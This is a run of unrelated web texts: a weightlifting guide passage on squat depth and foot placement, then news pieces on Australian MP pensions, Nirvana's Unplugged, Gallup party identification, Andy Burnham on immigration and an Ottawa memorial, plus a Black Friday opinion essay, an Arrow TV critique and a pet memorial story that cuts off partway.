advancement. However, even in the cases of lifters for whom the strictest positioning prescription is initially impossible, this prescription will remain the ultimate goal, and continued efforts toward that end should be made.Be cautious of defying the underlying principles with the excuse of individual variation—often this is inappropriately cited when the actual cause of an athlete's inability to adhere to these prescriptions is entirely correctable over time, such as flexibility-related limitations or simply stubborn habits. It's necessary to critically evaluate each athlete individually to make accurate determinations—avoid allowing an athlete to continue poor habits due simply to laziness or frustration with slow progress and, more importantly, increase the risk of injury.The depth of an Olympic squat should not even be a topic of discussion, but because there has been and continues to be discussion among coaches and athletes in sports outside of weightlifting, it warrants at least clarification: proper depth is full depth; full depth means full depth. That is, full depth is not parallel, nor is it breaking parallel—it is squatting to the lowest position possible without surgical alteration of body parts while maintaining correct posture. To simplify, we want to close the knee joint maximally while maintaining a correctly arched back.Depth is measured by the position of the hips, and the depth of the hips is governed by the position of the knees, the degree of dorsiflexion of the ankles, the absolute and relative lengths of the upper and lower leg, the horizontal position of the hips relative to the feet, the width and degree of external rotation of the feet, and the mass of the upper and lower legs. These factors are largely interdependent, and a change in one will typically effect change in others.If the knees are prevented from moving forward over the feet, as is taught by many coaches and trainers, the hips must travel farther back behind the feet. With the hips behind the athlete’s base, the torso must be inclined forward to a greater degree in order for the athlete’s center of mass to remain balanced over the feet. If the hips are lowered from this position, flexibility will restrict the spine’s ability to remain correctly arched, forcing the athlete to curl forward, again to remain balanced. For what should be fairly obvious reasons, neither of these positions will allow the safe and effective support of a barbell in the positions it must be received in the snatch and clean. (Note that very short-legged athletes will be able to achieve a proper squat depth and position without the knees passing significantly forward of the toes.) Moving the knees in front of the toes is not a goal itself, but something that must be allowed to happen in order to achieve the depth and trunk orientation we need.Inadequate ankle flexibility can also result in the knees remaining too far back—if the ankles are unable to dorsiflex to a great enough degree, the lower leg cannot reach an angle sufficient to bring the knees into a position that allows the hips to reach their intended placement. This is the reason for the lifted heel of weightlifting shoes—elevation of the heel effectively increases the ankles’ range of motion.Femur length will affect the depth of each athlete’s squat simply by dictating how far away from the knees the hips will be. Athletes with great flexibility and long femurs will display extraordinarily deep squat positions, while their shorter-femured counterparts will appear higher even when at their maximal depth. For some athletes, femur length will exceed what can be compensated for through ankle flexibility in the basic squat position, and adjustments will need to be made to allow a better bottom position.For individuals with largely muscled legs and who are capable of very upright torso positions in the bottom of the squat, the hips may not be particularly low relative to the knees even when the knees are closed completely.As the base from which all movement and positioning originates, the placement of the feet will dramatically influence the squat. The width of the stance and degree of external rotation will affect the movement and position of the hips and back, and will often be the deciding factor in whether a squat is successful or failed, mechanically sound or injurious. Individual variation notwithstanding, the feet must be positioned in a manner that allows and encourages proper biomechanics of the legs, hips and back, while allowing the greatest possible range of motion and supporting the unique positional and movement characteristics of the Olympic lifts.Anthropometrics—in particular relative leg segment lengths—and hip anatomy will dictate appropriate width and rotation of the feet. Flexibility limitations and similar impediments may prevent an athlete from immediately achieving this ultimately proper positioning, but again, these are temporary obstacles that should be corrected.The starting foot placement will be slightly outside hip-width at the heels with the toes turned out comfortably—generally between approximately 20-35 degrees from center. With the athlete sitting at the bottom of the squat in this basic position, adjustments can be quickly made according to leg segment and trunk lengths, hip anatomy, and ankle and knee alignment to place him or her in the proper position.From here, there are two basic criteria with which we’re concerned: When viewed from directly above, the foot and thigh are approximately parallel with each other; when viewed from the front of the toe, the foot is approximately underneath the knee. The hips should sit in between the heels somewhat; in other words, the heel will not be directly under the thigh, but slightly outside of its centerline. This positioning will keep the knees and ankles aligned well, but will also allow for slightly improved depth, and, more importantly, a more absorptive bottom position—that is, the final position will be structurally sound without having an abrupt and jarring stop.With these relationships established—assuming the hips are at full possible depth—the remaining positional relationships will be unavoidably correct. This allows for a wide range of potential external rotation—athletes will in general naturally find what is most comfortable for them. That said, some athletes will need to be told explicitly to spread the knees farther than they wish; occasionally athletes will prefer a stance that prevents the hips from reaching adequate depth between the thighs due to the structures of the upper thighs being pushed into the forward edges of the pelvis. If the athlete is unable to achieve adequate depth and back extension, particularly if he or she is also feeling pressure near the front of the hips, a more externally rotated stance is more than likely needed.What this positioning achieves is simple but important— biomechanically sound alignment of the involved joints , optimizing performance and reducing the risk of injury.These relationships of the feet and leg segments should be maintained for the duration of the movement—in other words, the knees should follow the line described by the angle of the feet as the athlete descends and recovers. For many athletes, this will, at least initially, require they consciously make an effort to push the knees out to the sides as the tendency will be for the knees to collapse inward From this basic position, there will be a degree of adjustment possible without considerable violation of these relationships. That is, once in this starting position, the athlete will find he or she can move the feet in and out and turn the toes in and out slightly and continue to meet the criteria fairly well. This small range will allow some latitude for personal preference, and the lifter is encouraged to experiment within this range until the most comfortable position is found.The effect of hip width on foot placement should be self-explanatory—this is the origin of the legs and consequently the starting point for the stance. Relative leg segment length affects how far back the foot travels relative to the thigh as the knee flexes. The longer the lower leg is relative to the upper leg, the farther toward the hip the foot will be when the knee is closed—this means that the longer the lower leg is relative to the upper leg, the closer the feet will be in a sound squat position. In other words, the overall length of the legs is not enough to determine squat stance—how that length is created is what matters.The foot position should be identical for all squat variations—back squat, front squat, overhead squat—and all receiving positions except the split in the jerk—snatch, clean, power snatch, power clean, power jerk, squat jerk. Many athletes will assume different foot positions for each type of squat—this is an indicator that the athlete has not learned and developed a correct squat position, and is likely in need of improved flexibility.Read more about the Olympic squat in Olympic Weightlifting: A Complete Guide for Athletes & Coaches by Greg Everett -The majority of federal politicians who have announced their retirement this year will be paid annual pensions of at least $118,000 - and in some cases much more - adding more than $2 million to the annual bill. Of the 22 MPs and senators who have already announced they will not re-contest the upcoming election, 16 are believed to be eligible for the controversial Parliamentary Contributory Superannuation Scheme. Former ministers Warren Truss and Ian Macfarlane are among 16 retiring MPs who will benefit from a generous six-figure parliamentary pension. Credit:Andrew Meares Only available to politicians elected before 2004, the defined benefits scheme already costs taxpayers more than $40 million a year. Eight Coalition and eight Labor MPs are set to qualify this time and most will be paid a minimum of $118,125 – or 75 per cent of a current MPs base salary for superannuation purposes of $157,500. -On Nov. 18, 1993, Nirvana took a trip to New York City and taped their iconic 'Unplugged' set for MTV. The special aired less than a month later on Dec. 14, adding yet another immortal moment to Nirvana's vast list of achievements. However, 20 years later, MTV has revealed that at the insistence of Kurt Cobain , drummer Dave Grohl almost didn't perform at the 'Unplugged' set. To celebrate the 20 year anniversary of Nirvana's 'MTV Unplugged in New York' concert, the TV channel released some special behind-the-scenes footage along with testimonies from those who made the event possible. MTV writes that "there isn't one thing you'd change" about the concert, which legions of Nirvana fanatics certainly agree with, but according to MTV, Dave Grohl almost didn't make the cut. "What I didn't know was up until the day [of the 'Unplugged performance], there was talk of Dave [Grohl] not playing at all in the show," Alex Coletti, who produced 'Unplugged,' remembers. "Kurt wasn't happy with the way rehearsals were going; he didn't like the way Dave sounded playing drums with sticks … He's a heavy hitter, and the thing about 'Unplugged,' especially with rock bands, is if the drummer doesn't really, really get it under control and tries to play a rock show on a smaller kit, then it brings the show to a bad-sounding electric show instead of a good-sounding acoustic show." Coletti handled the situation by sending a production assistant to Sam Ash to buy Grohl some new gear, including wire brushes and sizzle sticks. As a strong suggestions disguised as an early Christmas present, Grohl accepted the gear and went on to perform with his new gifts during 'Unplugged.' Though Grohl knocked it out of the park during the intimate concert, Cobain chose to play 'Pennyroyal Tea' alone, which was completely undecided until mid-performance. "Am I gonna do this by myself?" Cobain asks onstage. Looking a bit frustrated, Grohl responds, "Do it by yourself." "I think that song meant a lot to him," says 'Unplugged' director Beth McCarthy-Miller." I think it was very personal and I think he wanted it to feel simple and raw and just him singing his heart out. And I think any of the other instruments were getting in the way of the emotion of the song for him." Watch MTV's retrospective of Nirvana's 'Unplugged' show in the videos above and below. 'Nirvana's 'Unplugged' Turns 20: A Look Back' -A new Gallup poll finds 42% of Americans, on average, identified as political independents in 2013, the highest measured in 25 years. Meanwhile, Republican identification fell to 25%, the lowest over that time span. At 31%, Democratic identification is unchanged from the last four years but down from 36% in 2008. The percentage of Americans identifying as independents grew over the course of 2013, surging to 46% in the fourth quarter. That coincided with the partial government shutdown in October and the problematic rollout of major provisions of the healthcare law, commonly known as "Obamacare." Image from: Gallup Democrats maintain their six-point edge in party identification when independents' "partisan leanings" are taken into account. In addition to the 31% of Americans who identify as Democrats, another 16% initially say they are independents but when probed say they lean to the Democratic Party. An equivalent percentage, 16%, say they are independent but lean to the Republican Party, on top of the 25% of Americans identifying as Republicans. All told, then, 47% of Americans identify as Democrats or lean to the Democratic Party, and 41% identify as Republicans or lean to the Republican Party. Image from: Gallup The rise in political independence is likely an outgrowth of Americans' record or near-record negative views of the two major U.S. parties, of Congress, and their low level of trust in government in general. -There is no excuse for working-class and poor people to participate in the cultural depravity that is, Black Friday. Others have argued differently, such as Luke O’Neil, a writer from Boston who recently penned an article in the Washington Post, entitled “Black Friday Brawl Videos are How Rich People Shame the Poor.” In the article, Luke concludes, “And we, the advantaged, sit at home in front of our computers and tablets and phones, all of which we’ve already purchased at non-bargain prices, and delight in the spectacle.” How are the people whose lives are filled with electronic distractions, “advantaged?” To me, this is a sad understanding of what privilege truly is. Surely it’s not the ability to become addicted to electronic devices. Undoubtedly, whites own a privileged status in US society, as do males, the rich, etc. In light of events in Ferguson, some whites are beginning to understand that their chances of being arrested, jailed, killed, robbed or unemployed, are far less than their black or brown counterparts. There are those who still disagree, to be sure. But the numbers are dwindling as the baby-boomers die. Yet, conceptually, we’re stuck in an awkward position. On the one hand, whites are privileged, as mentioned above. On the other hand, many whites in US society have been fully metabolized into the capitalist system, gorging themselves on consumer products, racking-up gigantic portions of debt and surrendering their senses to mass-media garbage and suburban-hell. Indeed, this can’t be considered a privileged position. In like manner, the same dynamic is at play when people speak about gays in the military, or women in the infantry. Are straight males really privileged to be able to serve in the world’s most violent empire? To be clear, I’m not arguing that gays or women can’t kill as efficiently and masterfully as men; I’m asking why would they want to? Is military service truly progress for the gay community? Does allowing women to serve in the infantry, 33% of whom already report military sexual assault during their time in the service, honestly represent feminist thought, activism and ideals? I don’t think so, and neither do my female friends. Many who live and organize in black and brown communities are terribly disgusted when they see people from those same communities assaulting each other for a flat screen TV or video game system. My friends who organize in poor white communities feel the same way when they see images of impoverished whites battling over objects. Mindless acts are not inherently justified simply because the working-class, poor, or disadvantaged engage in them. This is where the nuance is important in one’s political analysis and activism. Do progressive activists really think Ella Baker, Malcolm X, Frida Kahlo or Emma Goldman would apologize for Black Friday shoppers? Would the Black Panthers, SNCC, or the Wobblies apologize for Black Friday madness? At a time when working-class and poor communities around the world are being attacked, killed, imprisoned, tortured and impoverished, decent-minded people are looking for answers, as opposed to easy scape goats such as the poor. I think that’s a great thing. However, we must always remain critical of one another, even if that means occasionally getting into heated discussions or disagreements. Dr. King significantly challenged the white community, but also the black community; Malcolm X and Ella Baker did the same. Today, our leadersencourage us to shop, compromise, forget and consume. It is an obvious sign of moral decay and cultural bankruptcy that Thanksgiving is a holiday, let alone a shopping extravaganza. From a different angle, but with the same logic, the left has already played this game with Obama. Since there’s a powerful right-wing that continues to defame the President, many liberals and leftists have kept their mouths shut about Obama’s crimes, hoping to quell some of the illegitimate attacks. This has resulted in disastrous policies being swept under the rug for fear of being perceived a racist. It’s important for the left to distance itself from liberal-ideology while simultaneously providing alternatives to the right-wing and centrism. To put it differently, just because FoxNews and Rush Limbaugh badger Black Friday shoppers, doesn’t mean that there isn’t a kernel of truth in their denunciations. While leftists won’t do so with racist terms or reactionary messaging, we must still denounce materialism, consumerism and capitalist culture. Sometimes, it’s true that the right-wing’s commentary should be ignored, as in the case of Ferguson or Climate Change. On the other hand, when it comes to Obama, Democrats or Black Friday, the left should pay closer attention. There’s a reason people gravitate toward these messages, and it’s not simply due to their simplicity. Obama has failed poor-black communities. The Democrats do not provide an alternative to GOP insanity. And Black Friday is the symbol of a morally bankrupt and banal culture. It makes no sense for leftists to apologize for the unforgivable. But it makes plenty of sense for leftists to provide alternatives to the status quo. As Gail Dines reminds us, just because the right-wing opposes pornography, that doesn’t make it a wonderful thing. The left also needs to apply critical analysis to the porno-industry, or, as Gail says, “Industrialized Sex.” There’s nothing liberating about long-term psychological and physical damage, economic exploitation and social alienation. In a lot of ways, the left needs to stop gravitating toward easy-to-digest answers. Britain recently banned several “sexual acts” in their pornography film industry. Leftists and liberals throughout the US went nuts on Twitter and Facebook, posting quotes from “New Atheists” and a slew of uninspiring diatribes aimed at the right-wing. Obviously, these people didn’t realize that a good portion of the coalition that led the fight against these acts were women who had been abused while formerly working in the industry. With regard to Black Friday, I think a lot of these misunderstandings stem from an oversimplification and glorification of the “working-class” and “poor.” Sure, we should always err on the side of the oppressed. Nevertheless when oppressed communities participate in behavior that reinforces their own oppression and alienation, we must reject such acts and simultaneously provide real-world alternatives. For example, just because my union friends are in unions doesn’t make them progressives. Plenty of people I know leave union meetings only to bad-mouth blacks and immigrants at the local pub. How is this progressive? On the contrary, I’ve been in Latin American communities where I’ve heard Muslims discussed in a negative manner. In both cases, I offer my reflections and judgements. All in all, these issues are extremely complex. Simply saying, ‘Black Friday is an activity working-class and poor people disproportionately participate in, so let’s not criticize it,’ is morally inadequate and intellectually lazy. We shouldn’t diminish our potential allies, but we also shouldn’t apologize for terrible behavior. We should be educating people and informing them that the very objects they’re purchasing have been made by women and children of color in sweatshops throughout the Global South. I don’t find that sort of criticism offensive, and neither should those in the US who are interested in creating a less hierarchical, oppressive and exploitative world. Yes, we should try and better understand and engage people who camp outside big-box stores in order to purchase consumer goods with debt-laden credit cards. Meanwhile, organizers and activists should offer free community-entertainment, handmade crafts, pot luck dinners or neighborhood concerts on Black Friday. Alternative cultural activities would greatly help, as many people feel lonely and isolated during the holiday season. Now, more than ever, we need working-class and poor people to be critical of not only the institutions of power, but of ourselves. We need more people to stand up and ask each other: Why should we continue to consume? Why should we continue to be slaves to objects? Is there not more to life than shopping, buying and having? Shopping might fill a momentary void, but it ultimately leads to more despair, debt, anguish and alienation. To me, there’s nothing radical, moral or reasonable about allowing our fellow brothers and sisters to participate in such toxic behaviors. Again, I agree that we should reserve the vast majority of our vitriol for those in power. Yet we must remain critical of each other—always with respect and in solidarity. -What's become of Arrow Season 4? What’s become of Arrow Season 4? I’d considered opening this piece with one of those cloying “Is it just me or…” rhetorical questions, but let’s just go straight to the declaration: Arrow seems thoroughly bored with itself. The fourth season of the CW hit didn’t start out that way. In fact, after what’s generally viewed as a lackluster year in Season 3, the show bolted out of the bow with renewed vigor. A new, lighter approach, a focus on the fantastical world of magic, and a blast of a villain giving Neal McDonough five-course meals of scenery to chew gave the show a seeming fresh start. Incorporating more explicit elements from the Green Arrow comic books, including the name; an expanded focus on the team; and a more mature manner of involving the divisive romantic relationship between Oliver Queen and Felicity Smoak, which frequently devloved into groan-worthy teen melodrama the year before, all propped up a series that seemed to find its legs again. Even the flashbacks, often cited by viewers as bothersome distractions from an episode’s main story — Season 2 aside — seemed better connected and far more interesting this year. Yet, it was all a bit deceptive. Both Arrow and The Flash were charged this season with helping establish and instigate another spinoff of this shared universe, DC’s Legends of Tomorrow. While The Flash mostly relegated Kendra Saunders’ appearances to cameo work while it set up its Zoom and Earth-2 stories, Arrow did the heavier lifting by having to bring back both Sara Lance and Ray Palmer. Sure, The Flash spent an episode on giving us Leonard Snart backstory, as well as setting up Jax Jackson as Ronnie Raymond’s replacement for Firestorm, but these were primarily single episodes that didn’t feel like they hung over or detracted from the main season story arc the series was setting up. Sara’s resurrection hung heavily over the first run of episodes of Arrow this year, as did Ray’s disappearance and eventual discovery and return. These were good threads that kept the audience engaged and paid off in the annual crossover that served as the backdoor pilot for Legends. Their resolutions also revealed a problem: there was less of a concise motivation for this season than originally thought. What is Genesis, the seeming world-altering H.I.V.E. plan that we know nothing about except the field of grain underground that would appear to be tied to the biochem gas agent that Darhk tried to use on Team Arrow to exterminate them? (Everyone remembers back to that episode, right?) What about magic? Darhk’s powers have been taken from him since his talisman was destroyed by Mari McCabe. They’ve hinted at Baron Reiter being around in the present with his connections to Shadowspire, the group that infiltrated A.R.G.U.S. and killed Amanda Waller. Mostly, he’s been relegated to increasingly awful and terminally boring flashback scenes about his search for magic ability on Lian Yu that feel like Oliver and Taiana are protagonists in a Z-grade adventure horror movie. What seemed to be such a game (and world) changing force all but peaked in the episode where John Constantine helps reconstitute Sara’s soul with her reborn body. What about Anarky? We get an interesting origin for the chaotic bugger, only to trot him out for a kidnapping plot that buys tentative peace between Team Arrow and Darhk. I’m sure he’ll put in another appearance or two before the season’s out, but his entire approach and participation seem far more controlled than anarchic. There’s Malcolm, who is once again just kind of there, getting to leer from the shadows with a slinged appendage now. There’s Andy Diggle, a wildcard who is not really so wild, but now seems to serve as yet another superfluous wedge to pit Team Arrow against one another. We broke up the Olicity relationship to stir the drama pot, so why not the whole team yet again? And there’s little William, Oliver’s son, forced to be the wedge to split Oliver and Felicity, and then quickly shunted off to parts unknown in a convenient way to not have to deal with real story ramifications of father and son being in each other’s lives. William’s use was very writerly in the facacta visitation plan between Oliver and Samantha that all but stamped drama on everything with a metal press, and very writerly in the inelegant way in which they hooked him off the stage. The one new lasting element seemed to be the one they hoped would sustain interest throughout the year: Who is in the grave? Yet, even that supposedly tantalizing trope quickly lost its luster. Having your creative team parade through interviews early on saying that even they didn’t know who was in the grave to that point didn’t percolate the mystery in the ways intended. Instead, it inadvertently established a baseline for a seeming inability to break a compelling season story and arc that recalled the issues with plotting that plagued Season 3. Rumors have surfaced about the character that supposedly meets their demise. (We aren’t going to share them here for those who would like to remain spoiler free, and we’d ask you to respect that in the comments. Though, we’ll certainly be removing any comments that directly reference those rumors. Guess all you want, but don’t ruin things for others with any specifics if it turns out to be true.) Others have since been ruled out. Yet, I hardly see much of any buzz going about this core question that’s supposed to be driving the season. More important, the show really seems to care very little. Usually around this time, we’ll get a string of three or four episodes that really re-establish the main threat for the season, building to that final run of episodes to close out the year. Yet, this season, nothing so far. In its place, we get drivel like this past week’s “Beacon of Hope,” where the most exciting thing about the episode was if you played a drinking game about the number of times people said the episode’s title. The alcohol poisoning potential was high. There are almost always one or two things to enjoy in any episode of the show — in this case, Curtis was fun, if bordering a tad on shrill — but an hour that reduced Emily Bett Rickards, Charlotte Ross, and Willa Holland to B-movie theatrics (no pun intended), set Oliver’s progression back 15 paces (yet again), and tried to bring the funny with awful puns feels more like an M.O. than an anomaly right now. The show simply seems bored with itself. Even much of the action feels perfunctory and choreographed to within millimeters of its life rather than fierce, visceral, spontaneous, and explosive. Sure, things pick up in the final third of the season, like every year, but too much feels like going through the motions now. Last year, some of this sluggishness seemed to be a result of the creative team being split to get The Flash off the ground. This year, there were two new shows, Legends and CBS’ Supergirl, that divided the cabal. One can’t pin it solely on the shifted efforts, but it’s hard to deny at least some effect on both of the elder CW shows. One can’t help but feel bad for the performers. We know they are game for lots of things, but after being handed the umpteenth version of the same dramatic beats and tropes each year, it’s got be hard to push through what’s sure to be some natural disinterest and work to keep things fresh. Arrow doesn’t feel lost like it did last year, trying to make anything work. It feels more like a victim of its success, and a slave to a formula that really only worked well for a single season. Rather than being desperate to make that formula work this year, though, it seems merely content to just be on the air. I’m sure we’re in store for shocks aplenty in the final six episodes in that way Arrow does to try to make it seem like the whole season was a pressure cooker. Yet, shocks are as good as a handful of candy. It’s good in the moment, but too often not something long-lasting or memorable. We’re still left with two questions: where is Arrow going this year, and where is it going for the future? I can’t speak for others, though I’ve certainly heard similar comments, but I just don’t find either question to be particularly pressing. More, the series just doesn’t seem to have the gas any longer to press them. The views and opinions expressed are those of the writer and do not necessarily reflect the views and opinions of the staff and site management of GreenArrowTV as a whole. -Labour politician Andy Burnham is becoming “a paler version of Nigel Farage”, a leading Tory MP has claimed. Ken Clarke made the comments amid growing backlash to Mr Burnham’s recent criticism of immigration. The former Labour leadership candidate said in a House of Commons speech last week that Labour’s position of supporting free movement of people is “undermining the cohesion of the UK”. Mr Burnham told MPs that places such as Greater Manchester “continue to take in the vast majority of the country’s asylum seekers and refugees and largely they do so without any strife or difficulty. I don’t want to hear anyone claim that people in places like Leigh that voted to leave are in any way xenophobic or racist. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. “They are welcoming, generous people but they also want fairness and they don’t think it’s fair that the country’s least well-off communities should experience pressure on wages, on housing, on public services… without any help to manage it.” Mr Burnham, who is MP for Leigh, stood by his comments, today telling Sky News: “I believe we’ve got to have a system that is more linked to people coming to fill a specific job in the labour market rather than speculative free movement, which has actually caused some difficult challenges in parts of Greater Manchester. We’ve seen downward pressure on wages.” Appearing in an interview on Sky News after Mr Burnham, Mr Clarke expressed distaste at the Labour MP’s comments, saying he did not understand immigration unlike Foreign Secretary Boris Johson. Mr Clarke said: “Unlike Andy, going on about free movement of labour, sounding a bit like a paler version of Nigel Farage, Boris has never been anti-immigrant. Boris does realise that the economic interests of Britain are helped if we have free access to the biggest open market in the world.” Mr Burnham’s comments have also provoked a backlash from within his own party, with Lord Spencer Livermore warning Labour politicians should not indulge “the dangerous fantasy” that the UK is besieged by immigration through “extreme” pronouncements. He told The Guardian: “It just feels like the direction of travel at the moment is all in one direction, and Labour is lurching too far towards an anti-immigration position that hasn’t necessarily been thought through.” An apparent move towards anti-immigration rhetoric by some in the left has been linked to the recent surge in support for Ukip and anti-EU sentiment. Shadow Home Secretary Diane Abbott appeared to later contradict Mr Burnham’s comments, expressing her support for freedom of movement as part of Brexit negotiations. She said: “Access to the single market and freedom of movement are inextricably linked and it would be wrong, and the Labour party has said this over and over again, it would be wrong to put the economy anything other than first. “There’s going to be negotiation, but it’s misleading to suggest to people, as some people do, that we can access to the single market and just dump freedom of movement.” Shape Created with Sketch. Nobel winner slates Britain's 'stupid' immigration reforms Show all 8 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Nobel winner slates Britain's 'stupid' immigration reforms 1/8 04-nobelwinner1-gt.jpg Prof Sir Andre Geim: Russian-born, he now holds dual British and Dutch nationality. In 2005, he and his team isolated graphene, a one-atom-thick carbon material which is 200 times stronger than steel and several times tougher than diamond, winning him the Nobel Prize for Physics. It can hold a charge similar to a battery – when charged for two to three seconds it powers a small light for five minutes. Getty Images 2/8 04-nobelwinner2.jpg Nadir Lalani: A Tanzania-born Pakistani who came to the UK in 1973 with very little money to his name. He opened a convenience store before founding the chain of 99p stores in 2001, the first in Holloway, north London, which has now expanded to 200 shops across the country. 3/8 04-nobelwinner3.jpg Levi Roots: Born Keith Graham, he came to the UK with his Jamaican parents at the age of five. Roots, 54, secured £50,000 investment for his Reggae Reggae Sauce from TV’s Dragons’ Den reality show. The sauce, and other lines, are now in supermarkets and Roots has made a £30m fortune. 4/8 04-nobelwinner4-gt.jpg Margaret Hodge: Born in Egypt to Jewish émigré parents, she arrived in the UK at the age of five. Despite having little money, her father started a steel company, Stemcor, which is now the sixth-largest UK company in private ownership. She is the Labour MP for Barking, a former minister, and chairman of the Public Accounts Committee. Getty Images 5/8 04-nobelwinner5-bbc.jpg James Caan: Born in Pakistan in 1960, the son of Bangladeshi parents, he came to the UK when he was aged two. His father had little money and no job but started a clothing company. The young Caan started his own recruitment company and later founded the venture capitalist firm. Best known from BBC TV’s Dragons’ Den. BBC 6/8 04-nobelwinner6-AFPgt.jpg Sir Partha Dasgupta: Born in Bangladesh, Sir Partha was educated at Cambridge in the 1960s but earned less than the minimum pay requirement (in today’s prices) after graduating. He is now emeritus professor of economics at Cambridge and a fellow of the Royal Society. Knighted in 2002 for services to economics. AFP/Getty Images 7/8 04-nobelwinner7.jpg Rajesh Agrawal: Born in India, he was earning £65 a month before coming to the UK in 2001 at the age of 24 with £200 in his back pocket. He founded the independent foreign exchange firm RationalFX in a small office in Brighton. The company had a turnover last year of £474m. 8/8 04-nobelwinner8-AFPgt.jpg Prof Richard Portes: US-born academic who was appointed a fellow at Balliol College, Oxford, in the 1960s, earning £22,000 in today’s terms. Founded the Centre for Economic Policy Research in 1983, is now professor of Economics at London Business School and a fellow of the British Academy. AFP/Getty Images 1/8 04-nobelwinner1-gt.jpg Prof Sir Andre Geim: Russian-born, he now holds dual British and Dutch nationality. In 2005, he and his team isolated graphene, a one-atom-thick carbon material which is 200 times stronger than steel and several times tougher than diamond, winning him the Nobel Prize for Physics. It can hold a charge similar to a battery – when charged for two to three seconds it powers a small light for five minutes. Getty Images 2/8 04-nobelwinner2.jpg Nadir Lalani: A Tanzania-born Pakistani who came to the UK in 1973 with very little money to his name. He opened a convenience store before founding the chain of 99p stores in 2001, the first in Holloway, north London, which has now expanded to 200 shops across the country. 3/8 04-nobelwinner3.jpg Levi Roots: Born Keith Graham, he came to the UK with his Jamaican parents at the age of five. Roots, 54, secured £50,000 investment for his Reggae Reggae Sauce from TV’s Dragons’ Den reality show. The sauce, and other lines, are now in supermarkets and Roots has made a £30m fortune. 4/8 04-nobelwinner4-gt.jpg Margaret Hodge: Born in Egypt to Jewish émigré parents, she arrived in the UK at the age of five. Despite having little money, her father started a steel company, Stemcor, which is now the sixth-largest UK company in private ownership. She is the Labour MP for Barking, a former minister, and chairman of the Public Accounts Committee. Getty Images 5/8 04-nobelwinner5-bbc.jpg James Caan: Born in Pakistan in 1960, the son of Bangladeshi parents, he came to the UK when he was aged two. His father had little money and no job but started a clothing company. The young Caan started his own recruitment company and later founded the venture capitalist firm. Best known from BBC TV’s Dragons’ Den. BBC 6/8 04-nobelwinner6-AFPgt.jpg Sir Partha Dasgupta: Born in Bangladesh, Sir Partha was educated at Cambridge in the 1960s but earned less than the minimum pay requirement (in today’s prices) after graduating. He is now emeritus professor of economics at Cambridge and a fellow of the Royal Society. Knighted in 2002 for services to economics. AFP/Getty Images 7/8 04-nobelwinner7.jpg Rajesh Agrawal: Born in India, he was earning £65 a month before coming to the UK in 2001 at the age of 24 with £200 in his back pocket. He founded the independent foreign exchange firm RationalFX in a small office in Brighton. The company had a turnover last year of £474m. 8/8 04-nobelwinner8-AFPgt.jpg Prof Richard Portes: US-born academic who was appointed a fellow at Balliol College, Oxford, in the 1960s, earning £22,000 in today’s terms. Founded the Centre for Economic Policy Research in 1983, is now professor of Economics at London Business School and a fellow of the British Academy. AFP/Getty Images Following his election as new Ukip leader, Paul Nuttall has said the party’s strategy is to “replace Labour” by appealing to working-class voters, especially in the north of England who would have traditionally supported the party. Addressing supporters during a victory speech, Mr Nuttall said: “My ambition is not insignificant – I want to replace the Labour Party and make Ukip the patriotic voice of working people.” We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now. -The minister for the national capital region endorsed the chosen location for the Memorial to the Victims of Communism Wednesday, saying downtown Ottawa doesn’t need another government building. Employment Minister Pierre Poilievre said he saw no need to move the memorial away from its planned site on Wellington Street near the Supreme Court of Canada, despite objections from architectural groups, Mayor Jim Watson and Ottawa-area MPs, who have asked the government to find another home for the project. The memorial will occupy about half the 5,000-square-metre site on Confederation Boulevard between the Supreme Court and Library and Archives Canada. “I think we’ve established a site and at this point I don’t see any need to change that,” Poilievre said. The spot for the memorial is the same location government planning documents cite as the location of a new Federal Court building named for former prime minister Pierre Elliott Trudeau. The previous Liberal government put the project on hold in 2005, and nothing has happened since. “All that I’m hearing as an alternative is that we have yet another government building in downtown Ottawa and I haven’t had anybody call my office saying Ottawa needs more government buildings,” Poilievre said in an interview with the Citizen. “We want to have this tribute in a place where people will actually see it and that is the case with the planned site.” The size and scope of the memorial have raised concerns from some architects and critics that it would overshadow the 75-year-old Supreme Court building, while an expert panel six years ago warned the National Capital Commission that the memorial didn’t meet NCC criteria for commemorations. The NCC’s External Committee of Experts on Commemorations said the theme for the memorial was “not sufficiently a Canadian story,” according to the minutes of its Feb. 19, 2009 meeting obtained by the Citizen. “There are eight million Canadians who trace their roots back to countries that were, or are, oppressed by communism. Our soldiers fought in the Korean War to push back communism. As a result of their effort and the effort of our allies, South Korea is free today,” Poilievre told reporters at an event in Sandy Hill. “This is one of the most murderous and odious ideologies in the history of humanity. It’s appropriate that we remember it and Canada’s contribution to defeating it.” The government promised in the 2013 throne speech to complete the memorial, which now is set to cost $5.5 million with the federal government providing about $3 million. Tribute to Liberty, the group behind the memorial, must raise the remainder. Poilievre said he hasn’t received any requests for extra cash, but wouldn’t say what the government’s plan is should fundraising efforts fall short. “I don’t want to speculate on hypotheticals,” Poilievre said. “They have a budget and the project should work within those confines.” jpress@ottawacitizen.com Twitter.com/jpress -Please feel free to light a candle or share a memory. ♥ “He took my heart and ran with it, and he’s running still, fast and strong, a piece of my heart bound up with his, forever.” In April of 2005 my sister, brother-in-law, sister-in-law and I, along with my sister's dog, Zoe, were in a car accident. We couldn't take Zoe with us as we were being transported to the hospital to be examined, so dog control held on to Zoe. She escaped from them, and despite our searching, we found that she had been hit by a car a few days later. It was three days after that when my sister went to the SPCA to adopt another dog, with the idea that it would help her to cope with the loss of Zoe. We found a scared, seven month old Rottweiler mix there, "Emerald". He'd been a stray transferred to our area's SPCA from the city nearby. We brought the family dog, Brutus, to meet him. Old Brutus approved. My sister and her (now) husband adopted "Emerald" there and then. I still remember the car ride home. The poor puppy was terrified. He didn't want to get in the car, so my brother-in-law had to carry him in the truck. He rode the whole way home in the front passenger seat, over his shoulder. "Emerald" was quickly renamed Khloe, as my sister wanted it to rhyme with Zoe. A girly name, but it fit him somehow - though we joked from time to time about how no one had thought of a 'boy' name like Joey! My sister now says that adopting this dog was the wrong decision for her … But it was one of the best things to ever happen to me. Khloe was my dog from the start. I was about 10 or 11 years old when he joined my life, and from the start we were connected. Khloe, when left without me at my sister's apartment, would pace and search for me and refuse to eat. And I … well, being young and loving this dog so much already, threw a fit about him not living with me. Eventually he became mine. Somehow, I think he knew I needed him. I've suffered from depression for a long time. At the worst of times, Khloe was there for me. I wasn't always the best "mother" to him … I didn't walk him as often as I should have, and fed him poor 